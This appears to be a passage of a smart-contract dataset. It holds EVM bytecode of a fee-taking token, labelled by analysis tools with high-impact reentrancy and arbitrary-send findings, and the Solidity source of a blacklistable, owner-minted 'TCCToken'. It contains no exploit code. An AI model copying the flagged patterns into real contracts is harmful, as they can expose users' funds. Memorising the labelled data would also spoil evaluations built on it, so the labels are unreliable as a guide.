f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114419190612f8c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612f0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612e0c565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612eec565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600e60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90612f6c565b60405180910390fd5b5b5b600f5481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600e60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b603c42611a4c91906130c2565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050600e60159054906101000a900460ff16158015611b085750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600e60169054906101000a900460ff165b15611b4857611b2e81611d4b565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c0784848484612098565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612dea565b60405180910390fd5b5060008385611c6491906131a3565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cd9573d6000803e3d6000fd5b5050565b6000600654821115611d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1b90612e2c565b60405180910390fd5b6000611d2e6120c5565b9050611d43818461204e90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d8357611d82613378565b5b604051908082528060200260200182016040528015611db15781602001602082028036833780820191505090505b5090503081600081518110611dc957611dc8613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6b57600080fd5b505afa158015611e7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea39190612831565b81600181518110611eb757611eb6613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f1e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f82959493929190612fa7565b600060405180830381600087803b158015611f9c57600080fd5b505af1158015611fb0573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b600080831415611fe65760009050612048565b60008284611ff49190613149565b90508284826120039190613118565b14612043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203a90612eac565b60405180910390fd5b809150505b92915050565b600061209083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f0565b905092915050565b806120a6576120a5612153565b5b6120b1848484612184565b806120bf576120be61234f565b5b50505050565b60008060006120d2612361565b915091506120e9818361204e90919063ffffffff16565b9250505090565b60008083118290612137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212e9190612dea565b60405180910390fd5b50600083856121469190613118565b9050809150509392505050565b600060085414801561216757506000600954145b1561217157612182565b600060088190555060006009819055505b565b600080600080600080612196876123c3565b9550955095509550955095506121f486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d5816124d2565b6122df848361258f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233c9190612f8c565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea000009050612397683635c9adc5dea0000060065461204e90919063ffffffff16565b8210156123b657600654683635c9adc5dea000009350935050506123bf565b81819350935050505b9091565b60008060008060008060008060006123df8a600854600f6125c9565b92509250925060006123ef6120c5565b905060008060006124028e87878761265f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061246c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b600080828461248391906130c2565b9050838110156124c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bf90612e6c565b60405180910390fd5b8091505092915050565b60006124dc6120c5565b905060006124f38284611fd390919063ffffffff16565b905061254781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125a48260065461242a90919063ffffffff16565b6006819055506125bf8160075461247490919063ffffffff16565b6007819055505050565b6000806000806125f560646125e7888a611fd390919063ffffffff16565b61204e90919063ffffffff16565b9050600061261f6064612611888b611fd390919063ffffffff16565b61204e90919063ffffffff16565b905060006126488261263a858c61242a90919063ffffffff16565b61242a90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126788589611fd390919063ffffffff16565b9050600061268f8689611fd390919063ffffffff16565b905060006126a68789611fd390919063ffffffff16565b905060006126cf826126c1858761242a90919063ffffffff16565b61242a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126fb6126f684613041565b61301c565b9050808382526020820190508285602086028201111561271e5761271d6133ac565b5b60005b8581101561274e57816127348882612758565b845260208401935060208301925050600181019050612721565b5050509392505050565b600081359050612767816136c2565b92915050565b60008151905061277c816136c2565b92915050565b600082601f830112612797576127966133a7565b5b81356127a78482602086016126e8565b91505092915050565b6000813590506127bf816136d9565b92915050565b6000815190506127d4816136d9565b92915050565b6000813590506127e9816136f0565b92915050565b6000815190506127fe816136f0565b92915050565b60006020828403121561281a576128196133b6565b5b600061282884828501612758565b91505092915050565b600060208284031215612847576128466133b6565b5b60006128558482850161276d565b91505092915050565b60008060408385031215612875576128746133b6565b5b600061288385828601612758565b925050602061289485828601612758565b9150509250929050565b6000806000606084860312156128b7576128b66133b6565b5b60006128c586828701612758565b93505060206128d686828701612758565b92505060406128e7868287016127da565b9150509250925092565b60008060408385031215612908576129076133b6565b5b600061291685828601612758565b9250506020612927858286016127da565b9150509250929050565b600060208284031215612947576129466133b6565b5b600082013567ffffffffffffffff811115612965576129646133b1565b5b61297184828501612782565b91505092915050565b6000602082840312156129905761298f6133b6565b5b600061299e848285016127b0565b91505092915050565b6000602082840312156129bd576129bc6133b6565b5b60006129cb848285016127c5565b91505092915050565b6000602082840312156129ea576129e96133b6565b5b60006129f8848285016127da565b91505092915050565b600080600060608486031215612a1a57612a196133b6565b5b6000612a28868287016127ef565b9350506020612a39868287016127ef565b9250506040612a4a868287016127ef565b9150509250925092565b6000612a608383612a6c565b60208301905092915050565b612a75816131d7565b82525050565b612a84816131d7565b82525050565b6000612a958261307d565b612a9f81856130a0565b9350612aaa8361306d565b8060005b83811015612adb578151612ac28882612a54565b9750612acd83613093565b925050600181019050612aae565b5085935050505092915050565b612af1816131e9565b82525050565b612b008161322c565b82525050565b6000612b1182613088565b612b1b81856130b1565b9350612b2b81856020860161323e565b612b34816133bb565b840191505092915050565b6000612b4c6023836130b1565b9150612b57826133cc565b604082019050919050565b6000612b6f602a836130b1565b9150612b7a8261341b565b604082019050919050565b6000612b926022836130b1565b9150612b9d8261346a565b604082019050919050565b6000612bb5601b836130b1565b9150612bc0826134b9565b602082019050919050565b6000612bd8601d836130b1565b9150612be3826134e2565b602082019050919050565b6000612bfb6021836130b1565b9150612c068261350b565b604082019050919050565b6000612c1e6020836130b1565b9150612c298261355a565b602082019050919050565b6000612c416029836130b1565b9150612c4c82613583565b604082019050919050565b6000612c646025836130b1565b9150612c6f826135d2565b604082019050919050565b6000612c876024836130b1565b9150612c9282613621565b604082019050919050565b6000612caa6017836130b1565b9150612cb582613670565b602082019050919050565b6000612ccd6011836130b1565b9150612cd882613699565b602082019050919050565b612cec81613215565b82525050565b612cfb8161321f565b82525050565b6000602082019050612d166000830184612a7b565b92915050565b6000604082019050612d316000830185612a7b565b612d3e6020830184612a7b565b9392505050565b6000604082019050612d5a6000830185612a7b565b612d676020830184612ce3565b9392505050565b600060c082019050612d836000830189612a7b565b612d906020830188612ce3565b612d9d6040830187612af7565b612daa6060830186612af7565b612db76080830185612a7b565b612dc460a0830184612ce3565b979650505050505050565b6000602082019050612de46000830184612ae8565b92915050565b60006020820190508181036000830152612e048184612b06565b905092915050565b60006020820190508181036000830152612e2581612b3f565b9050919050565b60006020820190508181036000830152612e4581612b62565b9050919050565b60006020820190508181036000830152612e6581612b85565b9050919050565b60006020820190508181036000830152612e8581612ba8565b9050919050565b60006020820190508181036000830152612ea581612bcb565b9050919050565b60006020820190508181036000830152612ec581612bee565b9050919050565b60006020820190508181036000830152612ee581612c11565b9050919050565b60006020820190508181036000830152612f0581612c34565b9050919050565b60006020820190508181036000830152612f2581612c57565b9050919050565b60006020820190508181036000830152612f4581612c7a565b9050919050565b60006020820190508181036000830152612f6581612c9d565b9050919050565b60006020820190508181036000830152612f8581612cc0565b9050919050565b6000602082019050612fa16000830184612ce3565b92915050565b600060a082019050612fbc6000830188612ce3565b612fc96020830187612af7565b8181036040830152612fdb8186612a8a565b9050612fea6060830185612a7b565b612ff76080830184612ce3565b9695505050505050565b60006020820190506130166000830184612cf2565b92915050565b6000613026613037565b90506130328282613271565b919050565b6000604051905090565b600067ffffffffffffffff82111561305c5761305b613378565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130cd82613215565b91506130d883613215565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561310d5761310c6132eb565b5b828201905092915050565b600061312382613215565b915061312e83613215565b92508261313e5761313d61331a565b5b828204905092915050565b600061315482613215565b915061315f83613215565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613198576131976132eb565b5b828202905092915050565b60006131ae82613215565b91506131b983613215565b9250828210156131cc576131cb6132eb565b5b828203905092915050565b60006131e2826131f5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061323782613215565b9050919050565b60005b8381101561325c578082015181840152602081019050613241565b8381111561326b576000848401525b50505050565b61327a826133bb565b810181811067ffffffffffffffff8211171561329957613298613378565b5b80604052505050565b60006132ad82613215565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132e0576132df6132eb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136cb816131d7565b81146136d657600080fd5b50565b6136e2816131e9565b81146136ed57600080fd5b50565b6136f981613215565b811461370457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200c100a01fe9890b4de4e8a0a31955a30ad493e5cc87917d4c4e8a1ee5b2ed78164736f6c63430008060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,387 |
0x9fef8cda3f3d309754fdf14f5e5211ade70f4750 | pragma solidity ^0.4.18;
//该合约参考自openzeppelin的开源代码
//1.使用SafeMath库防止运算溢出
//2.使用Ownable,Pausable合约来做权限控制
//3.ERC20Basic,ERC20都是接口,ERC20扩展了ERC20Basic,实现了授权转移
//4.BasicToken,StandardToken,PausableToken是具体实现
//5.BlackListToken加入黑名单方法
//6.合约所有者发行和赎回
//
/**
*
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
// function Ownable() public {
// owner = msg.sender;
// }
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract BlackListToken is PausableToken {
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
emit AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
emit RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
totalSupply_ = totalSupply_.sub(dirtyFunds);
emit DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract TCCToken is BlackListToken {
string public constant name = "tenancy credit contract";
string public constant symbol = "TCC";
uint8 public constant decimals = 18;
modifier validDestination( address to )
{
require(to != address(0x0));
require(to != address(this));
_;
}
constructor ( uint _totalTokenAmount ) public
{
totalSupply_ = _totalTokenAmount;
balances[msg.sender] = _totalTokenAmount;
emit Transfer(address(0x0), msg.sender, _totalTokenAmount);
}
function transfer(address _to, uint _value) public validDestination(_to) returns (bool)
{
require(!isBlackListed[msg.sender]);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public validDestination(_to) returns (bool)
{
require(!isBlackListed[_from]);
return super.transferFrom(_from, _to, _value);
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint _value) public onlyOwner {
require(totalSupply_ + _value > totalSupply_);
require(balances[owner] + _value > balances[owner]);
totalSupply_ = totalSupply_.add(_value);
balances[owner]=balances[owner].add(_value);
emit Issue(_value);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint _value) public onlyOwner {
require(totalSupply_ >= _value);
require(balances[owner] >= _value);
totalSupply_ = totalSupply_.sub(_value);
balances[owner]=balances[owner].sub(_value);
emit Redeem(_value);
}
// Called when new token are issued
event Issue(uint _value);
// Called when tokens are redeemed
event Redeem(uint _value);
} | 0x608060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610138578063095ea7b3146101c85780630ecb93c01461022d57806318160ddd1461027057806323b872dd1461029b578063313ce567146103205780633f4ba83a1461035157806359bf1abe146103685780635c975abb146103c357806366188463146103f257806370a08231146104575780638456cb59146104ae5780638da5cb5b146104c557806395d89b411461051c578063a9059cbb146105ac578063cc872b6614610611578063d73dd6231461063e578063db006a75146106a3578063dd62ed3e146106d0578063e47d606014610747578063e4997dc5146107a2578063f2fde38b146107e5578063f3bdc22814610828575b600080fd5b34801561014457600080fd5b5061014d61086b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018d578082015181840152602081019050610172565b50505050905090810190601f1680156101ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d457600080fd5b50610213600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a4565b604051808215151515815260200191505060405180910390f35b34801561023957600080fd5b5061026e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108d4565b005b34801561027c57600080fd5b506102856109ee565b6040518082815260200191505060405180910390f35b3480156102a757600080fd5b50610306600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109f8565b604051808215151515815260200191505060405180910390f35b34801561032c57600080fd5b50610335610ae0565b604051808260ff1660ff16815260200191505060405180910390f35b34801561035d57600080fd5b50610366610ae5565b005b34801561037457600080fd5b506103a9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba5565b604051808215151515815260200191505060405180910390f35b3480156103cf57600080fd5b506103d8610bfb565b604051808215151515815260200191505060405180910390f35b3480156103fe57600080fd5b5061043d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c0e565b604051808215151515815260200191505060405180910390f35b34801561046357600080fd5b50610498600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c3e565b6040518082815260200191505060405180910390f35b3480156104ba57600080fd5b506104c3610c86565b005b3480156104d157600080fd5b506104da610d47565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561052857600080fd5b50610531610d6d565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610571578082015181840152602081019050610556565b50505050905090810190601f16801561059e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105b857600080fd5b506105f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610da6565b604051808215151515815260200191505060405180910390f35b34801561061d57600080fd5b5061063c60048036038101908080359060200190929190505050610e8c565b005b34801561064a57600080fd5b50610689600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110f8565b604051808215151515815260200191505060405180910390f35b3480156106af57600080fd5b506106ce60048036038101908080359060200190929190505050611128565b005b3480156106dc57600080fd5b50610731600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611330565b6040518082815260200191505060405180910390f35b34801561075357600080fd5b50610788600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113b7565b604051808215151515815260200191505060405180910390f35b3480156107ae57600080fd5b506107e3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113d7565b005b3480156107f157600080fd5b50610826600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114f1565b005b34801561083457600080fd5b50610869600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611649565b005b6040805190810160405280601781526020017f74656e616e63792063726564697420636f6e747261637400000000000000000081525081565b6000600360149054906101000a900460ff161515156108c257600080fd5b6108cc83836117d8565b905092915050565b600360009054906101000a900473fffffffffffffffffffff